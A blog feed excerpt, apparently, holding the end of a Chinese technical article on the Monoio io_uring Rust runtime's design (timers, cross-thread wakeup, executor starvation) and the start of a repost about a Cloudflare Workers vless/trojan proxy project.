&lt;p&gt;这时你可能会说，直接 &lt;code&gt;async&lt;&#x2F;code&gt; 和 &lt;code&gt;await&lt;&#x2F;code&gt; 不能用吗？事实上 &lt;code&gt;async&lt;&#x2F;code&gt; 块确实生成了一个状态机，和你手写的差不多。但是问题是，这个生成结构并没有名字，所以如果你想把这个 Future 的类型用作关联类型就难了。这时候可以开启 &lt;code&gt;type_alias_impl_trait&lt;&#x2F;code&gt; 然后使用 opaque type 作为关联类型；也可以付出一些运行时开销，使用 &lt;code&gt;Box&amp;lt;dyn Future&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-cheng-future&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E7%94%9F%E6%88%90-future&quot;&gt;生成 Future&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;除了使用 &lt;code&gt;async&lt;&#x2F;code&gt; 块外，常规的方式就是手动构造一个实现了 &lt;code&gt;Future&lt;&#x2F;code&gt; 的结构体。这种 Future 有两种：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;带有所有权的额 Future，不需要额外写生命周期标记。这种 &lt;code&gt;Future&lt;&#x2F;code&gt; 和其他所有结构体都没有关联，如果你需要让它依赖一些不 &lt;code&gt;Copy&lt;&#x2F;code&gt; 的数据，那你可以考虑使用 &lt;code&gt;Rc&lt;&#x2F;code&gt; 或 &lt;code&gt;Arc&lt;&#x2F;code&gt; 之类的共享所有权的结构。&lt;&#x2F;li&gt;
&lt;li&gt;带有引用的 Future，这种结构体本身上就带有生命周期标记。例如，Tokio 中的 &lt;code&gt;AsyncReadExt&lt;&#x2F;code&gt;，&lt;code&gt;read&lt;&#x2F;code&gt; 的签名是 &lt;code&gt;fn read&amp;lt;&#x27;a&amp;gt;(&amp;amp;&#x27;a mut self, buf: &amp;amp;&#x27;a mut [u8]) -&amp;gt; Read&amp;lt;&#x27;a, Self&amp;gt;&lt;&#x2F;code&gt;。这里构造的 &lt;code&gt;Read&amp;lt;&#x27;a, Self&amp;gt;&lt;&#x2F;code&gt; 捕获了 self 和 buf 的引用，相比共享所有权，这是没有运行时开销的。但是这种 Future 不好作为 trait 的 type alias，只能开启 &lt;code&gt;generic_associated_types&lt;&#x2F;code&gt; 和 &lt;code&gt;type_alias_impl_trait&lt;&#x2F;code&gt;，然后使用 opaque type。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;ding-yi-io-trait&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%AE%9A%E4%B9%89-io-trait&quot;&gt;定义 IO trait&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;通常，我们的 IO 接口要以 &lt;code&gt;poll&lt;&#x2F;code&gt; 形式定义（如 &lt;code&gt;poll_read&lt;&#x2F;code&gt;），任何对 IO 的包装都应当基于这个 trait 来做（我们暂时称之为基础 trait）。&lt;&#x2F;p&gt;
&lt;p&gt;但是为了用户友好的接口，一般会提供一个额外的 &lt;code&gt;Ext&lt;&#x2F;code&gt; trait，主要使用其默认实现。&lt;code&gt;Ext&lt;&#x2F;code&gt; trait 为所有实现了基础 trait 的类自动实现。例如，&lt;code&gt;read&lt;&#x2F;code&gt; 返回一个 Future，显然基于这个 future 使用 &lt;code&gt;await&lt;&#x2F;code&gt; 要比手动管理状态和 &lt;code&gt;poll&lt;&#x2F;code&gt; 更容易。&lt;&#x2F;p&gt;
&lt;p&gt;那为什么基础 trait 使用 &lt;code&gt;poll&lt;&#x2F;code&gt; 形式定义呢？不能直接一步到位搞 Future 吗？因为 poll 形式是同步的，不需要捕获任何东西，容易定义且较为通用。如果直接一步到位定义了 Future，那么，要么类似 &lt;code&gt;Ext&lt;&#x2F;code&gt; 一样直接把返回 Future 类型写死（这样会导致无法包装和用户自行实现，就失去了定义 trait 的意义），要么把 Future 类型作为关联类型（前面说了，不开启 GAT 没办法带生命周期，即必须 static）。&lt;&#x2F;p&gt;
&lt;p&gt;所以总结一下就是，在目前的 Rust 稳定版本中，只能使用 poll 形式的基础 trait + future 形式的 Ext trait 来定义 IO 接口。&lt;&#x2F;p&gt;
&lt;p&gt;在开启 GAT 后这件事就能做了。我们可以直接在 trait 的关联类型中定义带生命周期的 Future，就可以捕获 self 了。&lt;&#x2F;p&gt;
&lt;p&gt;这是银弹吗？不是。唯一的问题在于，如果使用了 GAT 这一套模式，就要总是使用它。如果你在 &lt;code&gt;poll&lt;&#x2F;code&gt; 形式和 GAT 形式之间反复横跳，那你会十分痛苦。基于 &lt;code&gt;poll&lt;&#x2F;code&gt; 形式接口自行维护状态，确实可以实现 Future（最简单的实现如 &lt;code&gt;poll_fn&lt;&#x2F;code&gt;）；但反过来就很难受了：你很难存储一个带生命周期的 Future。虽然使用一些 unsafe 的 hack 可以做(也有 cost)这件事，但是仍旧，限制很多且并不推荐这么做。&lt;code&gt;monoio-compat&lt;&#x2F;code&gt; 基于 GAT 的 future 实现了 Tokio 的 &lt;code&gt;AsyncRead&lt;&#x2F;code&gt; 和 &lt;code&gt;AsyncWrite&lt;&#x2F;code&gt;，如果你非要试一试，可以参考它。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;buffer-guan-li&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#buffer-%E7%AE%A1%E7%90%86&quot;&gt;Buffer 管理&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Buffer 管理参考了 tokio-uring 设计。&lt;&#x2F;p&gt;
&lt;p&gt;Buffer 由用户提供所有权，并在 Future 完成时将所有权返回回去。 利用 Slab 维护一个全局状态，当 Op drop 时转移内部 Buffer 所有权至全局状态，并在 CQE 时做真正销毁。正常完成时丢回所有权。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;time-driver-she-ji&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#time-driver-%E8%AE%BE%E8%AE%A1&quot;&gt;Time Driver 设计&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;很多场景需要计时器，如超时，需要 select 两个 future，其中一个是 timeout。作为 Runtime 必须支持异步 sleep。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-shi-qi-guan-li-yu-huan-xing&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E8%AE%A1%E6%97%B6%E5%99%A8%E7%AE%A1%E7%90%86%E4%B8%8E%E5%94%A4%E9%86%92&quot;&gt;计时器管理与唤醒&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Glommio 内部这部分实现较为简单，直接使用了 BTreeMap 维护 Instant -&amp;gt; Waker 的映射，每次拿当前时间去 split_off 拿到所有过期的 timer 唤醒并计算下次 wake 间隔时间，然后在 driver park 的时候作为参数传入。Tokio 中类似，也有自己的时间轮实现，更复杂，但效率也更高（精确度上不如 Glommio 的实现方案）。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到我们性能优先的实现初衷，我们选择类似 Tokio 的时间轮方案。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;he-driver-ji-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%92%8C-driver-%E9%9B%86%E6%88%90&quot;&gt;和 Driver 集成&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 epoll 下，在我们做 wait 前，需要检查当前最近的计时器。如果有，那么必须将它的超时事件作为 wait 的参数传入，否则如果没有任何 IO 在这段时间里就绪，我们就会错过这次计时器的预期唤醒时间，如用户要 timeout 100ms，结果可能 200ms 了才唤醒，这已经失去意义了。&lt;&#x2F;p&gt;
&lt;p&gt;Tokio 内部基于 EPOLL 和 时间轮 做了这件事。EPOLL 作为 IO Driver，并在这个之上封装了 Timer Driver。在 Timer Driver 陷入 syscall 之前，计算时间轮中最近的事件超时间隔，并作为 epoll wait 的参数。&lt;&#x2F;p&gt;
&lt;p&gt;为啥不直接使用 TimerFd 直接利用 epoll 能力？因为这么搞有点重：timerfd 的创建、使用 epoll_ctl 添加和移除都是 syscall，而且不能做粗粒度的合并（时间轮的可以）。&lt;&#x2F;p&gt;
&lt;p&gt;然而，io-uring 的 enter 并不支持传入一个超时时间。我们只能向 SQ 推 TimeoutOp 来做到这件事。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fang-an-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%96%B9%E6%A1%881&quot;&gt;方案1&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在插入 element 到时间轮空格子的时候，推 TimeoutOp；并在该格子取消至数量为 0 时推 TimeoutRemoveOp（取消这部分也可以不推，只是要额外付出一次误唤醒的 cost）。&lt;&#x2F;p&gt;
&lt;p&gt;例如，我们会创建 5 个 10ms 的超时，它们会被插入到时间轮的同一个格子。在这个格子中数量从 0 变 1 的时机，我们向 SQ 推一个 10ms 的 TimeoutOp。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fang-an-2&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%96%B9%E6%A1%88-2&quot;&gt;方案 2&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;每次 wait 前计算最近超时时间，推入 SQ 然后 wait；TimeoutOp 中设置 offset = 1。&lt;&#x2F;p&gt;
&lt;p&gt;这里解释一下 offset 参数的含义，简单来说就是当有 $offset 个 CQ 完成时，或超时发生时会完成。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;This command will register a timeout operation. The addr field must contain a pointer to a struct timespec64 structure, len must contain 1 to signify one timespec64 structure, timeout_flags may contain IORING_TIMEOUT_ABS for an absolute timeout value, or 0 for a relative timeout. off may contain a completion event count. A timeout will trigger a wakeup event on the completion ring for anyone waiting for events. A timeout condition is met when either the specified timeout expires, or the specified number of events have completed. Either condition will trigger the event. If set to 0, completed events are not counted, which effectively acts like a timer. io_uring timeouts use the CLOCK_MONOTONIC clock source. The request will complete with -ETIME if the timeout got completed through expiration of the timer, or 0 if the timeout got completed through requests completing on their own. If the timeout was cancelled before it expired, the request will complete with -ECANCELED. Available since 5.4.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这样需要在每次 wait 前推 SQ 进去，好处是不需要 remove（因为每次返回时就已经被消费掉了），没有误唤醒问题；并且实现简单，不需要维护 Op 的 user_data 字段用来推 TimeoutRemoveOp。&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bytedance-rust-runtime&#x2F;io-uring-timeout-scheme-2.png&quot; alt=&quot;wait&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fang-an-3&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%96%B9%E6%A1%88-3&quot;&gt;方案 3&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;类似方案 2，只不过 TimeoutOp 中的 offset 设置为 0。&lt;&#x2F;p&gt;
&lt;p&gt;这样实现起来较为麻烦：因为 offset = 0 表示它是一个纯粹的计时器，与 CQ 完成个数无关，它只会在实际超时时完成。这样就意味着，我们需要推 TimeoutRemoveOp 或者承担误唤醒开销（Glommio 实现类似这种方案，它的 cost 选择了后者）。&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;bytedance-rust-runtime&#x2F;timeout-op-insertion-flow.png&quot; alt=&quot;wait&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tao-lun&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E8%AE%A8%E8%AE%BA&quot;&gt;讨论&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在插入 TimeoutOp 时，我们应当尽可能晚地插入，因为它可能会被 cancel。所以方案 1 会在 wait 前 0-&amp;gt;1-&amp;gt;0-&amp;gt;1 变化时插入 2 次 TimeoutOp 和 2 次TiemoutRemoveOp，而这是不必要的，方案 1 基本不可取。&lt;&#x2F;p&gt;
&lt;p&gt;方案 2 和 3 在执行时机上和 EPOLL 场景下的 Tokio 以及 Glommio 是一样的。细节上的差别是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;方案 2 下，任何一个 CQ 完成时顺便把 TimeoutOp 给完成掉，这样就不需要 Remove，也就是说不需要维护 user_data，实现上会非常简单，也省了推 TimeoutRemoveOp 以及内核处理的开销。&lt;&#x2F;li&gt;
&lt;li&gt;方案 3 相对 2 的好处是，当 wait 次数很多时，方案 2 每次都要推一个 TimeoutOp 进去，而方案 3 可以检查 TimeoutOp 是否被消耗掉，省一些推入次数；当然，对比方案 2 也有缺点，就是当超时取消时得推 TimeoutRemove 进去。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在我们的实际业务场景中，时间事件绝大多数都是作为超时，少部分是定时轮询用。 超时场景中往往是注册超时并移除超时，真正的超时并非热路径：所以我们这里初步决定是使用方案 2。同时，方案 2 实现简单，后续即便是要优化也成本不大。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kua-xian-cheng-tong-xin&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E8%B7%A8%E7%BA%BF%E7%A8%8B%E9%80%9A%E4%BF%A1&quot;&gt;跨线程通信&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;虽然是 thread per core 的 runtime，但是如果没有跨线程通信能力，很多事情是做不了的。比如常见的 case：单个线程拉取配置并分发到每个线程的 thread local 上。&lt;&#x2F;p&gt;
&lt;p&gt;如果只是期望有跨线程通信能力，那么不需要任何 runtime 支持。无论是使用无锁的数据结构，或是跨线程锁，都可以做到。&lt;&#x2F;p&gt;
&lt;p&gt;但我们希望可以在 runtime 层面集成。举例来说，A 线程有一个 channel rx，B 线程有一个 tx，我们通过 B 发送数据，A 可以 await 在 rx 上。这里的实现难点在于，A 线程上的 reactor 可能已经陷入内核进入等待 uring CQ 状态了，我们需要在任务被唤醒时额外唤醒其所在 thread。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unpark-neng-li&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#unpark-%E8%83%BD%E5%8A%9B&quot;&gt;Unpark 能力&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;所以我们需要在 Driver trait 上额外添加一个 Unpark 接口用于跨线程主动唤醒。&lt;&#x2F;p&gt;
&lt;p&gt;在 epoll 下，tokio 内部实现是注册上去一个 eventfd。因为 tokio 本身的调度模型就依赖于跨线程唤醒，所以无论你是否使用 tokio 提供的一些 sync 数据结构，它都会在 epoll 上挂上这么一个 eventfd；而我们的实现主体是不依赖这个的，只有在用到我们实现的 channel 的时候才会依赖，所以我们这里通过条件编译，开启 “sync” feature 才插入相关代码，尽可能做到 zero cost。&lt;&#x2F;p&gt;
&lt;p&gt;在 iouring 下怎么插入 eventfd 呢？同 time driver 中我们实现 park_timeout 做的事情差不多，可以直接推一个 ReadOp 进去读 8 byte，fd 就是 eventfd 的 fd。eventfd 读写都是 8 byte（u64）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注：文档里提到了两个 syscall flag（IORING_REGISTER_EVENTFD, IORING_REGISTER_EVENTFD_ASYNC），不是做这个事的。 Ref: https:&#x2F;&#x2F;unixism.net&#x2F;loti&#x2F;ref-iouring&#x2F;io_uring_register.html&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在什么时机我们需要推入 eventfd 呢？我们可以在内部维护一个状态标记当前 ring 里是否已存在 eventfd。在 sleep 前，如果已存在则直接 sleep，不存在则推一个进去并标记已存在。&lt;&#x2F;p&gt;
&lt;p&gt;当消费 CQ 的时候，遇到 eventfd 对应的 userdata，则标记为不存在，这样下次 sleep 前会重新插入。&lt;&#x2F;p&gt;
&lt;p&gt;当我们需要 unpark 线程时，只需要拿到它对应的 eventfd，并向其中写入 1u64，则这个 fd 就会可读，触发 ring 从 syscall 返回。&lt;&#x2F;p&gt;
&lt;p&gt;我们将 UnparkHandle 维护在一个全局 Map 中便于每个线程都能够唤醒其他线程。在线程创建时，我们向全局注册自己的 UnparkHandle 的 Weak 引用。&lt;&#x2F;p&gt;
&lt;p&gt;当需要跨线程唤醒时，我们只需要从全局 Map 里拿到这个 UnparkHandle 并尝试 upgrade，然后写入数据即可。为了减少对全部 Map 的访问，我们在每个线程中缓存这个映射。&lt;&#x2F;p&gt;
&lt;p&gt;参考 Eventfd 的实现，kernel 内部一来有锁，二来会保证这 8 byte 的 u64 是一口气写完的，不存在乱序问题。所以目前实现改为了直接走 libc::write。（wow so unsafe!）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-cheng-waker&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E9%9B%86%E6%88%90-waker&quot;&gt;集成 Waker&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在纯本线程下，我们的唤醒逻辑是这样的：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;我们想等待一个在本线程执行 future&lt;&#x2F;li&gt;
&lt;li&gt;因为事件源是 uring，所以我们在 future 被 poll 时将 task 的 waker 存储在 op 关联的存储区&lt;&#x2F;li&gt;
&lt;li&gt;Uring 产生了事件，唤醒 waker&lt;&#x2F;li&gt;
&lt;li&gt;Waker 执行时将任务重新塞回本线程的执行队列&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在 uring driver 下，我们的事件源是 uring，所以 uring 负责存储并唤醒 waker；在 time driver 下，我们的事件源是 time wheel，所以也由其负责存储和唤醒 waker。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们的事件源是其他线程。以 oneshot channel 为例，当 rx poll 时，需要将 waker 存储在 channel 的共享存储区内；在 tx send 后，需要从 channel 共享存储区拿到 waker 并唤醒。waker 的唤醒逻辑不再是无脑把任务加到本地队列，而是需要调度到其所在线程的队列中。&lt;&#x2F;p&gt;
&lt;p&gt;所以这样我们需要为每个 Executor 添加一个 shared_queue 用于共享地存储远程推入的 waker。当非本地 waker 被 wake 时，会将自己添加到目标线程的 queue 中。&lt;&#x2F;p&gt;
&lt;p&gt;Glommio 中的另一种参考实现：&lt;&#x2F;p&gt;
&lt;p&gt;前面说的方案是跨线程传递 waker，可以通用支持 channel、mutex 等数据结构。&lt;&#x2F;p&gt;
&lt;p&gt;还可以不传递 waker，poll 的时候将 waker 加入本线程的数据结构，然后发送端有数据后并不是直接唤醒接收端的 waker，而是直接唤醒它所在的线程，由对端线程轮询所有存在 waker 的 channel。&lt;&#x2F;p&gt;
&lt;p&gt;这种轮询的方式在某些场景下不够高效，且方案并不通用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;executor-she-ji&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#executor-%E8%AE%BE%E8%AE%A1&quot;&gt;Executor 设计&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Executor 在 thread per core 下按理说应该非常简单：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;直接做一个 Queue 然后从一端推任务，从另一端消费任务&lt;&#x2F;li&gt;
&lt;li&gt;在没任务可做时，陷入 syscall 并等待至少一个任务完成&lt;&#x2F;li&gt;
&lt;li&gt;拿到完成任务后逐个处理，将 syscall 结果应用到 buffer 上，并 wake 对应任务。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在 epoll 下可能确实是这个逻辑；但是在 io-uring 下可能可以做一些额外的优化。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-yan-chi-or-jian-shao-syscall&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E4%BD%8E%E5%BB%B6%E8%BF%9F-or-%E5%87%8F%E5%B0%91-syscall&quot;&gt;低延迟 or 减少 syscall&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在我们推入 SQE 之后，我们可以当场 &lt;code&gt;submit()&lt;&#x2F;code&gt; 以尽快完成 syscall，降低延迟；也可以先等等，等到无事可做时再 &lt;code&gt;submit_and_wait(1)&lt;&#x2F;code&gt;。考虑到尽可能高性能，我们选择第二种方案（Glommio 和 Tokio-uring）——测试数据反映事实上延迟并不高，相比 Glommio 延迟有时反而因为 CPU 利用率降低而更低。在负载相对较低时，也可以采用一些动态的方式决定是否更激进地 &lt;code&gt;submit&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ji-e-wen-ti&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E9%A5%A5%E9%A5%BF%E9%97%AE%E9%A2%98&quot;&gt;饥饿问题&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在这个 case 下，饥饿问题往往是用户代码写出了问题导致的。考虑下面几个场景：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户的 Future 每次 &lt;code&gt;poll&lt;&#x2F;code&gt; 都会 spawn 一个新任务，然后返回 Ready。&lt;&#x2F;li&gt;
&lt;li&gt;用户的 Future 每次都会立刻 wake。&lt;&#x2F;li&gt;
&lt;li&gt;用户的 Future 中的状态转换太多了，或者状态转换出现了死循环。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如果我们选择在没有任务时再处理 IO（包括提交、等待和收割），那么这几个场景下，依赖 IO 的任务都无法得到处理，因为任务队列永远不会为空，或者任务永远执行不完。&lt;&#x2F;p&gt;
&lt;p&gt;对于问题 1 和 2，我们&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bytedance&#x2F;monoio&#x2F;pull&#x2F;3&quot;&gt;提出了一个做法&lt;&#x2F;a&gt;，与其执行完所有任务，我们设置一个执行上限，当达到上限时强制做一次提交和收割。&lt;&#x2F;p&gt;
&lt;p&gt;对于问题 3，可以类似 Tokio 做一个 coop 机制，限制递归 &lt;code&gt;poll&lt;&#x2F;code&gt; 执行的次数来做到限制状态转换的目的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;da-ge-yan-gao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E6%89%93%E4%B8%AA%E5%B9%BF%E5%91%8A&quot;&gt;打个广告&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bytedance&#x2F;monoio&quot;&gt;Monoio&lt;&#x2F;a&gt; 目前仍处于非常不完善的阶段，期待你的贡献：）&lt;&#x2F;p&gt;
&lt;p&gt;另外，我们还搭建了一个国内的 crates.io 和 rustup 的镜像，欢迎使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rsproxy.cn&#x2F;&quot;&gt;RsProxy&lt;&#x2F;a&gt; ！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>zaunistcloudflare-proxy</title>
        <published>2025-07-26T00:00:00+00:00</published>
        <updated>2025-07-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/zaunistcloudflare-proxy/"/>
        <id>https://vercel.juzhong.asia/obsidian/zaunistcloudflare-proxy/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/zaunistcloudflare-proxy/">&lt;h1 id=&quot;zaunistcloudflare-proxy&quot;&gt;zaunistcloudflare-proxy&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zaunist&#x2F;cloudflare-proxy&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;zaunist&#x2F;cloudflare-proxy&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cloudflare-workers-dai-li&quot;&gt;Cloudflare Workers 代理&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;原项目：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yonggekkk&#x2F;Cloudflare-vless-trojan&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;yonggekkk&#x2F;Cloudflare-vless-trojan&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;高！实在是高！白嫖 nat64 公共网关来做代理，太绝了！这样就解决了 workers 代理无法访问 ipv4 only 的网站问题&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-pin-jiao-cheng&quot;&gt;视频教程&lt;&#x2F;h2&gt;
&lt;p&gt;workers 代理搭建： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;HQcLxYbPSgo&quot;&gt;https:&#x2F;&#x2F;youtu.be&#x2F;HQcLxYbPSgo&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;workers 代理优选IP：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;egjPHBbd9zw&quot;&gt;https:&#x2F;&#x2F;youtu.be&#x2F;egjPHBbd9zw&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gu-ding-ip-jie-jue-twitch-wu-fa-guan-kan-1080p-zhi-bo&quot;&gt;固定ip，解决 twitch 无法观看 1080p 直播&lt;&#x2F;h2&gt;
&lt;p&gt;我在涌哥的脚本基础上，增加了自定义 proxydomains 变量，因此现在可以将需要固定ip访问的网站设置到 proxydomains 变量中，这样就不会跳 ip 了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意，本项目提供的&lt;&#x2F;strong&gt; **&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zaunist&#x2F;cloudflare-proxy&#x2F;blob&#x2F;main&#x2F;worker-trojan-proxyip.js&quot;&gt;worker-trojan-proxyip&lt;&#x2F;a&gt;&lt;strong&gt;&lt;strong&gt;和&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zaunist&#x2F;cloudflare-proxy&#x2F;blob&#x2F;main&#x2F;worker-vless-proxyip.js&quot;&gt;worker-vless-proxyip&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; **，均未内置 proxyip，需要自己在变量中设置；&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zaunist&#x2F;cloudflare-proxy&#x2F;blob&#x2F;main&#x2F;worker-vless-nat64.js&quot;&gt;worker-vless-nat64&lt;&#x2F;a&gt;**&lt;strong&gt;则内置了公共 NAT64 节点&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
